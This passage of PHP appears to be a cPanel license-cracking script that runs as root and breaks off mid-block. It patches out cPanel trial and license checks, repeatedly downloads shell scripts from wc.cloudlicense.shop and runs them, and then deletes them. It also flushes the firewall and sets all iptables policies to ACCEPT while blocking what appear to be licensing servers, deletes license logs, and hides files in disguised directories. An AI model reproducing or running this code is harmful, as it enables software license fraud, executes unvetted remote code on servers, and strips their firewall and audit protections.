		file_put_contents('/usr/local/cpanel/whostmgr/docroot/templates/support_center.tmpl', '[% USE Whostmgr %]' . "\r\n" . '[% WRAPPER \'master_templates/master.tmpl\'' . "\r\n" . '    theme = \'bootstrap\'' . "\r\n" . ' stylesheets = [' . "\r\n" . '    \'/templates/support_center.min.css\']' . "\r\n" . ' -%]' . "\r\n" . '<h2>' . "\r\n" . '    [% locale.maketext(\'Support Center is not avalible\') %]' . "\r\n" . '</h2>' . "\r\n\r\n\r\n" . '[% END #wrapper -%]');
		exec('wget -O /usr/local/cpanel/base/frontend/paper_lantern/_assets/master_retro/master_content.html.tt wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/master_content.html.tt > /dev/null 2>&1');
		exec('wget -O /usr/local/cpanel/base/frontend/paper_lantern/_assets/master_content.html.tt wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/master_content.html.tt > /dev/null 2>&1');
		exec('sed -i -e "s/CPANEL.CPFLAGS.item(\'trial\')/False/g" "/usr/local/cpanel/base/frontend/jupiter/_assets/master_retro/master_content.html.tt" &> /dev/null');
		exec('sed -i -e "s/CPANEL.CPFLAGS.item(\'trial\')/False/g" "/usr/local/cpanel/base/frontend/jupiter/_assets/master_content.html.tt" &> /dev/null');
		exec('/usr/bin/sed -i s/_is_trial/_is_tria1/g /usr/local/cpanel/base/show_template.stor');
		exec('/usr/bin/sed -i s/IS_TRIAL/IS_TRIA1/g /usr/local/cpanel/base/resetpass.cgi');
		exec('/usr/bin/licensescc > /dev/null 2>&1');
		$filenameq1 = '/usr/local/cpanel/cpkeyclt_back_2';

		if (!file_exists($filenameq1)) {
			exec('cp /usr/local/cpanel/cpkeyclt /usr/local/cpanel/cpkeyclt_back_2 2> /dev/null');
		}

		$filenameq = '/usr/local/cpanel/upgrade_in_progress.txt';

		if (file_exists($filenameq)) {
			exec('rm -rf /usr/local/cpanel/upgrade_in_progress.txt > /dev/null 2>&1');
			exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
		}

		if (file_exists('/usr/local/cpanel/cpanel.lisc')) {
			$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

			if (0 < strlen($cpanel_txt)) {
				if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
					exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
					exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
					exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
					exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
					exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
					exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
					exec('sh /usr/bin/con0 > /dev/null 2>&1');
					exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
					exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
					exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
					exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
					exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
					exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
					exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
					exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
					exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
					exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
				}
			}
		}

		exec('rm -rf /usr/local/cpanel/logs/error_log1 > /dev/null 2>&1');
		$dns = '/usr/local/cpanel/cpanel.lisc';

		if (file_exists($dns)) {
			$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
			$pos = strpos($filedns, 'dnsonly');

			if ($pos !== false) {
				exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
				exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
				exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
				exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
				exec('sh /usr/bin/con0 > /dev/null 2>&1');
				exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
				exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
				exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
				exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
				exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
				exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
				exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
				exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
				exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
				exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
				exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
			}
		}

		$curtime = strtotime(date('Y-m-d H:i:s'));
		exec('cd /usr/local/cpanel; rm -rf cpanel.lisc.*');
		exec('rm -rf /usr/local/cpanel/logs/error_log1 > /dev/null 2>&1');
		exec('/usr/local/cpanel/cpanel -D > /usr/local/cpanel/logs/error_log1');
		$filech = file_get_contents('/usr/local/cpanel/logs/error_log1');
		$postt = strpos($filech, 'div class');

		if (!$postt) {
			exec('head -n -3 /etc/csf/csf.ignore > /root/.back0 2>&1');
			exec('rm -rf /etc/csf/csf.ignore > /dev/null 2>&1; cp /root/.back0 /etc/csf/csf.ignore > /dev/null 2>&1');
			exec('rm -rf /root/.bash_time > /dev/null 2>&1');
			$file11 = exec('timeout 2s ping 208.74.123.3  &> /root/.bash_time');
			$file22 = file_get_contents('/root/.bash_time');
			$pos = strpos($file22, 'bytes from');

			if ($pos !== false) {
				exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
				exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
				exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
				exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
				exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
				exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
				exec('iptables -t nat -F > /dev/null 2>&1');
				exec('iptables -t mangle -F > /dev/null 2>&1');
				exec('iptables -F > /dev/null 2>&1');
				exec('iptables -X > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
				exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
			}

			exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
			exec('comp0 -i /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');

			if (file_exists('/usr/local/cpanel/cpane1.lisc')) {
				exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
			}
			else {
				exec('cp /usr/local/cpanel/cpkeyclt /usr/local/cpanel/cpkeyclt_back_2 2> /dev/null');
				exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
				exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
			}

			exec('comp0 +i /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
			exec('chmod +x /usr/local/cpanel/cpanel > /dev/null 2>&1');
			maximum_users();
			echo "\x1b" . '[32m' . "\n\n" . 'cPanel has been Activated!' . "\x1b" . '[0m' . "\n";
		}
		else {
			exec('rm -rf /etc/csf/csf.error > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpsanitycheck.si > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpsanitycheck.so > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
			exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
			exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpkeyclt 2> /dev/null');
			exec('cp /usr/local/cpanel/cpkeyclt_back_2 /usr/local/cpanel/cpkeyclt 2> /dev/null');
			exec('comp0 -i /usr/local/cpanel/cpkeyclt 2> /dev/null');
			exec('chmod +x /usr/local/cpanel/cpkeyclt 2> /dev/null');
			exec('umount -f /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('umount -f /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('umount -f /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('umount -l /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('umount -f /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('umount -l /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('umount -f /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('umount -l /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('service cpanel start > /dev/null 2>&1');
			exec('rm -rf /root/.bash_timel > /dev/null 2>&1');
			$file12 = exec('rm -rf /usr/local/cpanel/cpanel.lisc 2 &> /root/.bash_timel');
			$file32 = file_get_contents('/root/.bash_timel');
			$pos4 = strpos($file32, 'Device or resource busy');

			if ($pos4 !== false) {
				exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
				exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
				exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
				exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
				exec('sh /usr/bin/con0 > /dev/null 2>&1');
				exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
				exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
				exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
				exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
				exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
				exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
				exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
				exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
				exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			}

			$filename34 = '/usr/sbin/cagefsctl';

			if (file_exists($filename34)) {
			}

			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpanel.lis* > /dev/null 2>&1');
			exec('/usr/bin/comp0 -i /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
			exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
			exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
			exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
			exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
			exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
			exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
			exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
			exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
			exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
			exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
			exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
			exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
			$hostname1 = exec('hostname > /root/cphostname');
			$hostname2 = file_get_contents('/root/cphostname');
			exec('rm -rf /root/cphostname');
			exec('timeout 5s csf -f > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
			exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
			exec('timeout 5s csf -f > /dev/null 2>&1');
			exec('umount /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
			exec('/usr/local/cpanel/cpkeyclt 2> /dev/null');
			exec('chmod +x /usr/local/cpanel/cpanel > /dev/null 2>&1');
			exec('rm -rf /etc/csf/csf.error > /dev/null 2>&1');
			exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
			exec('rm -rf /root/.cpver');
			$file = '/usr/local/cpanel/cpsrvd';
			$filesize = filesize($file);
			$filech1 = file_get_contents('/usr/local/cpanel/cpsrvd');
			$posttt = strpos($filech1, '/usr/local/cpanel/.cpsrvd');
			$posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
			if (($posttt !== false) && (1 < $filesize) && !$posttt1) {
				exec('yes 2>/dev/null | cp -rf /usr/local/cpanel/.cpsrvd /usr/local/cpanel/cpsrvd');
			}

			echo "\x1b" . '[32m' . "\n\n" . 'Attempting to active license, please wait...' . "\x1b" . '[0m';
			exec('sed -i\'_is_back\' \'s/cpane1.lisc/cpanel.lisc/g\' /usr/local/cpanel/.cpkeyclt');
			exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
			exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
			exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
			exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
			exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
			exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
			exec('pkill -f "cpkeyclt" > /dev/null 2>&1');
			exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
			exec('rm -rf /usr/local/cpanel/cpane1* > /dev/null 2>&1');
			exec('/usr/bin/wget -O /usr/bin/.sysma/procc11.conf https://wc.cloudlicense.shop/api/change1?key=' . $key . ' > /dev/null 2>&1');
			exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc11.conf > /usr/bin/.sysma/procc.conf1');
			$null = shell_exec('check=$(timeout 30s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf1 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
			exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
			$dns = '/usr/local/cpanel/cpanel.lisc';

			if (file_exists($dns)) {
				$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
				$pos = strpos($filedns, 'dnsonly');

				if ($pos !== false) {
					exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
					exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
					exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
					exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
					exec('sh /usr/bin/con0 > /dev/null 2>&1');
					exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
					exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
					exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
					exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
					exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
					exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
					exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
					exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
					exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
					exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
					exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
				}

				$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

				if (0 < strlen($cpanel_txt)) {
					if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
						exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
						exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
						exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
						exec('sh /usr/bin/con0 > /dev/null 2>&1');
						exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
					}
				}
			}

			$filename3 = '/usr/local/cpanel/cpanel.lisc';

			if (file_exists($filename3)) {
				exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
				exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
								maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
				exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
				exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
				exec('cat /usr/bin/.sysma/procc.conf1 > /usr/local/.recoverit');
				exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
				exec('sed -i \'1d\' /usr/local/.recoverit1');
				exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
				exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
				exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
				exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
				exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
				exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
				exec('service cpanel restart > /dev/null 2>&1');
				maximum_users();
				echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
			}
			else {
				exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
				exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
				exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
				exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
				exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
				exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
				exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
				exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
				exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
				exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
				exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
				exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
				exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
				exec('timeout 5s csf -f > /dev/null 2>&1');
				exec('rm -rf /etc/csf/csf.error > /dev/null 2>&1');
				exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
				exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
				exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
				exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
				exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
				exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
				exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
				exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
				exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
				exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
				exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
				exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
				exec('/usr/bin/wget -O /usr/bin/.sysma/procc33.conf https://wc.cloudlicense.shop/api/change2?key=' . $key . ' > /dev/null 2>&1');
				exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc33.conf > /usr/bin/.sysma/procc.conf8');
				$null = shell_exec('check=$(timeout 70s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf8 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
				exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
				$dns = '/usr/local/cpanel/cpanel.lisc';

				if (file_exists($dns)) {
					$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
					$pos = strpos($filedns, 'dnsonly');

					if ($pos !== false) {
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
						exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
						exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
						exec('sh /usr/bin/con0 > /dev/null 2>&1');
						exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
						exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
					}

					$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

					if (0 < strlen($cpanel_txt)) {
						if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
							exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
							exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
							exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
							exec('sh /usr/bin/con0 > /dev/null 2>&1');
							exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
							exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
							exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
						}
					}
				}

				$dns = '/usr/local/cpanel/cpanel.lisc';

				if (file_exists($dns)) {
					$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
					$pos = strpos($filedns, 'dnsonly');

					if ($pos !== false) {
						exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
						exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
						exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
						exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
						exec('sh /usr/bin/con0 > /dev/null 2>&1');
						exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
						exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
